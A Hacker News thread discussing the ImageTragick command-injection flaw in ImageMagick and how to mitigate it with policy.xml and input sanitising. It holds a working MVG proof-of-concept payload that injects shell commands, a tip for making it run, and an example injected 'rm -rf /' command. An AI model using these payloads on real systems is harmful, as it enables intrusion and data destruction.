
Remote code execution vulnerability in ImageMagick - nthitz
https://imagetragick.com/
======
orf
So judging by this commit[1] and this line[2] I reckon you could somehow
escape the "wget" command (assuming that's what it invokes here[3]). The
following characters were removed in the commit: ' ', '"', "'", '`', '<',
'\\\', '>'.

If so then it's not complicated file formats or buffer overflows, it's an
improperly escaped 'system' call being fed user input in an obscure feature
that probably shouldn't have been included in the first place. Party like it's
1999 guys.

Edit: I'm pretty sure this is an RCE issue. This function[4] replaces the
placeholders in the wget command, which is this: `wget -q -O "%o" "https:%M"`

So seeing as %M is user controlled we can feed it a URL like "//hacker.com/`rm
-rf /`" and it will blindly pass it to the shell. Wow.

1\.
[https://github.com/ImageMagick/ImageMagick/commit/a347456a1e...](https://github.com/ImageMagick/ImageMagick/commit/a347456a1ef3b900c20402f9866992a17eb5d181)

2\.
[https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44...](https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L99)

3\.
[https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44...](https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L418)

4\.
[https://github.com/ImageMagick/ImageMagick/blob/32bdefdc31f1...](https://github.com/ImageMagick/ImageMagick/blob/32bdefdc31f122591569ffa5085794565ff3b117/MagickCore/property.c#L3170)

~~~
alkonaut
Explain to me like I'm 5 years old: why is an Image utility invoking shell
code and other applications?

Shouldn't this type of utility rather be a library if it's to be used from
other applications such as web apps?

~~~
zerocrates
ImageMagick shells out to "delegates" to convert to/from many of the formats
it supports: reading in a PDF results in a call to "gs", reading in a .docx
results in a call to "soffice --headless", etc.

As for the wisdom of this approach...

~~~
r1ch
This must expose an absolutely massive attack surface. Time to disable all
these "delegates".

------
lobbybobby
PoC: save as file.mvg and then run convert file.mvg o.png

viewbox 0 0 1 1 image over 0,0 0,0 '[https://test/"](https://test/") && touch
/tmp/hacked && echo "1'

~~~
dpritchett
This is what I get on an unpatched staging server. Not sure it did anything...

    
    
        $ sudo convert file.mvg o.png
        convert.im6: delegate failed `"curl" -s -k -o "%o" "https:%M"' @ error/delegate.c/InvokeDelegate/1065.
        convert.im6: unable to open image `/tmp/magick-Yjc5q9f1': No such file or directory @ > error/blob.c/OpenBlob/2638.
        convert.im6: unable to open file `/tmp/magick-Yjc5q9f1': No such file or directory @ error/constitute.c/ReadImage/583.

~~~
benmmurphy
if [https://test](https://test) can't be opened by curl then the rest of the
commands will fail because they are chained by &&. if you change the first &&
to || then it will work.

~~~
0x0
I assumed that "bug" was added intentionally as a script kiddie deterrence...

~~~
dpritchett
Can confirm that I was able to reproduce after tweaking some of the special
characters in the above PoC.

------
bru
Full story by one of the 2 finders on the oss-security@openwall mailing list:
[http://www.openwall.com/lists/oss-
security/2016/05/03/18](http://www.openwall.com/lists/oss-
security/2016/05/03/18)

~~~
tyingq
Would recommend reading the mailing list entry above...it has much more detail
than the imagetragick.com site. The "unescaped shell characters" is only one
of many issues.

------
whizzkid
Apparently Paperclip library already covered this long before this
vulnerability is published.

[https://github.com/thoughtbot/paperclip/issues/2190#issuecom...](https://github.com/thoughtbot/paperclip/issues/2190#issuecomment-216638180)

~~~
tyingq
Well, they check the filetype. I wouldn't be so certain that covers all the
bases. Read this: [http://www.openwall.com/lists/oss-
security/2016/05/03/18](http://www.openwall.com/lists/oss-
security/2016/05/03/18)

~~~
whizzkid
Of course I would like to see specific tests that covers everything about this
vulnerability. I see now that there are more problems than the one mentioned
in the article.

But the link submitted to hackernews specifically mentioned "magic bytes"
which is the file type problem. I think Paperclip is not affected on that one.

------
dorfsmay
I wonder if the same issue exist in GraphicsMagick.

Also, I am surprised how few people have switched from ImageMagick to
graphocksMagic, given that the fork happened back in 2002 and that it offers
significant improvements.

[http://www.graphicsmagick.org/](http://www.graphicsmagick.org/)

~~~
Danack
"it offers significant improvements." \- citation needed.

It was better for a period after the fork, but the only guy working on it
hasn't maintained it that well...there's a significant number of bugs in
GraphicsMagick that have been there for years.

------
cm3
I've been using GraphicsMagick for a while now. Is that also affected or is it
just waiting to be checked for the same bugs?

~~~
caseyf
No idea, but I'd assume yes for the time being.

The Graphicsmagick code base includes 3 of the 5 coders that are mentioned
(URL, MVG and MSL). 2 of those use LibXML and url.c suspiciously uses LibXML's
nanoftp and nanohttp.

~~~
xDranik
Any idea how to disable those coders with GraphicsMagick? ImageMagick supports
a policy file to disable coders (mentioned here
[https://imagetragick.com/](https://imagetragick.com/)). Would need to do the
same for GraphicsMagick

------
nthitz
No PoC, but ImageMagick commit history might lead to some clues
[https://github.com/ImageMagick/ImageMagick/commits/master](https://github.com/ImageMagick/ImageMagick/commits/master)

edit: PoC here
[https://news.ycombinator.com/item?id=11624056](https://news.ycombinator.com/item?id=11624056)
though I haven't ran it myself.

~~~
kiallmacinnes
Wow, they seem to have terrible commit message practice. The latest commit has
a message of "...", and many others only have a bug number (which leads to an
annoying usability issue on the github UI - I click the title to get to the
commit - which now links to a GitHub issue).

[EDIT: Actually, 8 of the commits top of tree as of writing are "...". wow.]

On top of that, "Second effort to sanitize input string" at [1] appears
related to this issue, and doesn't have a single test change, even on the
second attempt!

[1]:
[https://github.com/ImageMagick/ImageMagick/commit/a347456a1e...](https://github.com/ImageMagick/ImageMagick/commit/a347456a1ef3b900c20402f9866992a17eb5d181)

~~~
derefr
Could this just be due to merges that don't squash commits?

~~~
kiallmacinnes
Nope, a very quick check shows very little merge activity - the occasional
pull request.

While I was at it, 49 commits using "..." as the message, and 8520 commits
with absolutely no message at all.

~~~
gknoy
I didn't realize you _could_ do a git commit without a message. Interesting,
even if I can't think of why I'd ever want to.

------
yanowitz
For Heroku, which has a read-only filesystem for /etc, we did this:
[https://gist.github.com/yanowitz/8329d8b27d8294ca7027f504326...](https://gist.github.com/yanowitz/8329d8b27d8294ca7027f504326fd629)

~~~
steveeq1
It seems that heroku already took care of this security problem for us. This
is a copy-and-paste of a comment that was left on the github page:

seems to be the default on heroku already:

    
    
      Path: /etc/ImageMagick/policy.xml  
        Policy: Coder  
          rights: None  
          pattern: EPHEMERAL  
        Policy: Coder  
          rights: None  
          pattern: URL  
        Policy: Coder  
          rights: None  
          pattern: HTTPS  
        Policy: Coder  
          rights: None  
          pattern: MVG  
        Policy: Coder  
          rights: None  
          pattern: MSL

~~~
evolve2k
Am I right then in assuming then that for apps deployed on heroku that this
specific reported issue is not a problem?

~~~
steveeq1
Well, I am on heroku and I have verified that that file is on my heroku
instance, so I assume so.

Is there a tool I can use to verify that my website is protected?

------
ArtDev
Oh, this is scary. Drupal and Wordpress rely on Imagemagik. The amounts to a
huge amount of the internet as a whole.

~~~
unlinker
What doesn't? Imagemagick, for me, is the one stop shop for all kind of image
filters, resizing, recoding, etc

~~~
jandrese
It's weird. I had to do commandline image manipulation in big batches several
years ago. There were two options, netpbm and ImageMagick. I ended up using
netpbm (and it's still my preferred solution) after ImageMagick proved to be
buggy and much much slower. It always surprised me that people flocked to
ImageMagick after that.

I'm completely unsurprised about these bugs given the number of serious
problems I ran into. Granted, that was something like 17 years ago, but these
veteran projects have a tendency to hang around on life support for decades.
Projects that are huge messes don't generally get cleaned up without massive
outside pressure (see: openssl).

~~~
hueving
>It always surprised me that people flocked to ImageMagick after that.

It's an SEO thing. Searching "resize image" would almost always lead to
ImageMagick examples that would work well enough to not require looking
elsewhere. Almost every time I've used it, it's been for a few simple image
operations (downsize, rotate, etc) that happen once on a user upload of a tiny
site so performance wasn't a concern.

------
Someone1234
People might be surprised how commonly used ImageMagick is. This could have a
real world impact on a number of projects and services.

------
rmdoss
Details here: [http://www.openwall.com/lists/oss-
security/2016/05/03/18](http://www.openwall.com/lists/oss-
security/2016/05/03/18)

~~~
zerocrates
The particularly interesting piece to me is the SVG exploit. ImageMagick
apparently will try to load xlink'd images referenced from within the SVG and
hit the same problem as in the MVG example.

No skin off anybody's nose if they have to block MVGs, but SVG could be
somewhat of a loss.

~~~
rbut
We are currently facing the issue of not being able to use MSVG (ImageMagick's
internal SVG renderer). We use it to work around issues with RSVG.

If anyone has a solution for disabling xlink'd images but retaining the rest
of MSVG functionality, we'd be all ears.

~~~
zerocrates
The "policy.xml" mitigation mentioned in the link (absent MVG, which is
required to use MSVG) does seem to fix the specific remote execution bug being
discussed here, just because the https delegate can't be used.

But, it doesn't resolve the problem that the internal renderer can be used to
read local files and include their contents in the rendered image through the
xlink:href. It's not clear to me that there's any way to disable that. The
ImageMagick forum post gives an additional policy entry to "prevent indirect
reads" but it doesn't seem to have that effect (unless it also requires an
updated ImageMagick).

Edit: It... maybe... looks like the "indirect reads" mitigation was very
narrowly targeted at the CVE-2016-3717 PoC using "label:@" but that's far from
the only way to do local reads once you've got ImageMagick parsing "URLs"
inside your input file (hint: there's a txt: coder). I'm honestly not totally
sure what that policy is intended to do...

Edit 2: Well, it appears that the "prevent indirect reads" policy does indeed
require an updated ImageMagick: "Denying indirect reads with a path policy and
a pattern of "@*" is supported in ImageMagick 6.9.3-10 and ImageMagick 7.0.1-1
for those that need to utilize the MVG and MSL coders." I haven't used that
version but I still think, judging from what it looks like, that it won't
really solve the problem.

~~~
rbut
We ended up mitigating by sanitising tags+attributes, and validating all
xlink:href's in the SVG-XML, using a library like bleach
([https://github.com/mozilla/bleach](https://github.com/mozilla/bleach))
before passing to ImageMagick.

Probably not a bad thing to be doing anyway.

------
rbut
Has anyone determined if Python Wand is affected also? [http://wand-
py.org](http://wand-py.org)

Edit: Or any other libmagickwand based project for that matter.

------
rmdoss
Hard problem now: Find all places where ImageMagick is being used and no one
knows about.

~~~
kodfodrasz
Given pain to set up ImageMagick it probably cannot go unnoticed anywhere.
Tried to use that crap as a library not so lately, but it gave me brain
cancer. I sticked to libgd finally, as that is a library, no setup to /bin,
/etc, or on Windows to C:\Progra~1, and the library entry points of GD don't
look as if designed by an oh-so-funny idiot on the spectrum.

[http://www.imagemagick.org/script/magick-
wand.php](http://www.imagemagick.org/script/magick-wand.php)

MagickWandGenesis(); contrast_wand=NewMagickWand();
status=MagickReadImage(contrast_wand,argv[1]);

Tell me please, that this is a sane API, but then please provide me your
github account as well, just to know what to avoid at all costs in the future

Edit: USE LIBGD: [http://libgd.github.io/](http://libgd.github.io/) it has
friendly API, suggesting sane developers, and the API is easy to use from
wrappers (I used with P/Invoke interop from C# without any hickups). It looks
to me that it was designed in a way to be easily usable that way, which
suggests design, not just growing code like cancer.

------
wim
Also make sure you don't use it for any image formats that are processed by
logic with the complexity of a small command-line interpreter. You'll risk a
lot of XXE vulns with formats like SVG or MVG. To see some examples of said
logic, have a look at 'convert -list delegate', for example.

------
chippy
Shouldn't there also be the HTTP coder included also? <policy domain="coder"
rights="none" pattern="HTTP" />

Also - would an example of using a HTTPS coder be:

convert [https://example.com/rose.jpg](https://example.com/rose.jpg)
~/rose.png

------
jhealy
For our use case, the only input formats we need to support are GIF, JPG and
PNG.

Using policy.xml to disable EPHEMERAL, URL, HTTPS, MVG and MSL is a nice
start, but is it also possible to disable PDF, open office, FTP and others?
Where would I find a list of all the supported coders?

~~~
philsnow
I'm on my phone at the moment but try looking in the files named by the output
of "dpkg -L imagemagick-common". There's a bunch of xml files and one of them
specifies how all the other commands are invoked, IIRC.

~~~
jhealy
The delegates.xml file looks interesting, and `convert -list delegate` lists a
large number of formats that we don't need to support.

I'm not clear on the difference between a "coder" and a "delegate". Do I need
to add a policy.xml entry to for each delegate?

------
trumpy123
[http://nowere.net/b/res/127615.html#i129473](http://nowere.net/b/res/127615.html#i129473)
This russian forum may contain some clues.

------
crb002
Rule of the day. Ad hock parsers are the #1 infosec issue. AFL is the Killer
Rabbit. The only defense is writing formal parsers on all inputs.

------
nodesocket
Does anybody have a library (prefer JavaScript) for inspecting files and
extracting the file type using "magic bytes"[1]. Seems like most people
probably blindly use mime-type, which appears to be incorrect and insecure.

[1]
[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)

~~~
steveax
[https://github.com/sindresorhus/file-
type](https://github.com/sindresorhus/file-type)

------
nerdy
Exploit samples:
[http://www.theregister.co.uk/2016/05/04/imagemagick_exploits...](http://www.theregister.co.uk/2016/05/04/imagemagick_exploits_in_the_wild/?utm_content=buffer408c4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)

------
jackcosgrove
Would using a libmagic based tool to detect the magic bytes and content type
be a valid mitigation strategy? The Node library mmmagic
([https://github.com/mscdex/mmmagic](https://github.com/mscdex/mmmagic))
already does this.

------
sucuri2
We posted some more details here:

[https://blog.sucuri.net/2016/05/imagemagick-remote-
command-e...](https://blog.sucuri.net/2016/05/imagemagick-remote-command-
execution-vulnerability.html)

------
Illniyar
I love that security vulenarabilities have names now. I think it's great for
awareness.

But when you have magic in the software's name you could do better then
ImageTragic.

... though none come to me right now

~~~
roywiggins
My Little Pwnie: System() is Magick

Magick: The Pwning

------
SFJulie
Most images file format are insane. And people expect to convert insane
document format to images, too.

Well. What did you expected?

------
djadmin
WordPress's Imagick Image Editor would be a problem?

------
Yuioup
First Heartbleed, then Badlock and now ImageTragick. Are bugs getting their
own domains now?

~~~
mwfunk
Not just their own domains, but in this case its own logo and Twitter account.
Seems really bizarre to me, I don't get it.

~~~
msbarnett
You really don't get why the web is better off if serious bugs are given
memorable, human parse-able branding that helps facilitate press coverage and
raise awareness among stakeholders, rather than hiding flaws behind opaque
identifiers like CVE-117293 that only a handful of people will know enough
about to look into?

------
fidz
I wonder why we are "trademarking" security issue since Heartbleed?

~~~
shthed
Easier to remember and talk about, I'm not going to remember CVE-2016–3714 but
ImageTragick is catchy.

------
askyourmother
So, we get it. Complicated file and network formats, handled in C code leads
to these types of security issues.

We are told that Rust will save us. Glib answer - if it was going to, it
already would have (and this is from someone already writing Rust code).

I hope it will lead to a change on two fronts:

1\. Simpler formats for file representation and data interchange. When someone
tries to add an extra bitfield option, say no. When they keep trying, get a
wooden stick with "no" written on it. Part of the disease of modern computing
is bloated specs.

2\. Restrictive not permissive code bases. Exit and bail out early. Tell the
user "file corrupted". Push back.

~~~
marssaxman
The solution I've been experimenting with is to run this sort of code in an
isolated, network-stack-free unikernel environment.

Imagine that you've built the ImageMagick library into a unikernel server
using a virtio serial port for I/O. When you need to process an image, you
boot a VM with this imagemagick kernel, then pipe the image data through its
virtual serial port. Data goes in, data comes out...

And if the attacker manages remote code execution inside the VM, who cares?
There's nothing in there. There's no network stack, there's no access to
storage, there's no access to other processes; all you give this VM is the RAM
and serial port the unikernel needs to do its job.

~~~
stormbrew
Or... you could just run it as nobody and maybe unshare its network and chroot
it and not add the surface area of some virtio driver to your stack?

Like, there's no magic to a unikernel. It's just a process in a jail, unless
you're legitimately running it directly on the cpu. Adding more layers of
abstraction does not inherently add security.

~~~
3pt14159
I think the difference is that that seems like something I would screw up. I
know how to make a $5 DigitalOcean instance that only has ImageMagick that I
can pipe photos to and from. I don't trust myself to unshare the network from
some running process without leaving other holes.

There are all these gotchas when you have stuff running in the same OS and it
just takes one little mistake and your adversary has root.

~~~
sedachv
tl;dr Unix security model is too hard to use. Let's put another layer of crap
around it!

~~~
mplewis
Don't be reductive – OP made a very good point, and you're not arguing it
head-on.

> There are all these gotchas when you have stuff running in the same OS and
> it just takes one little mistake and your adversary has root.

~~~
sedachv
How is "There are all these gotchas when you have stuff running in the same OS
and it just takes one little mistake and your adversary has root" not saying
that the Unix security model is too hard to use?

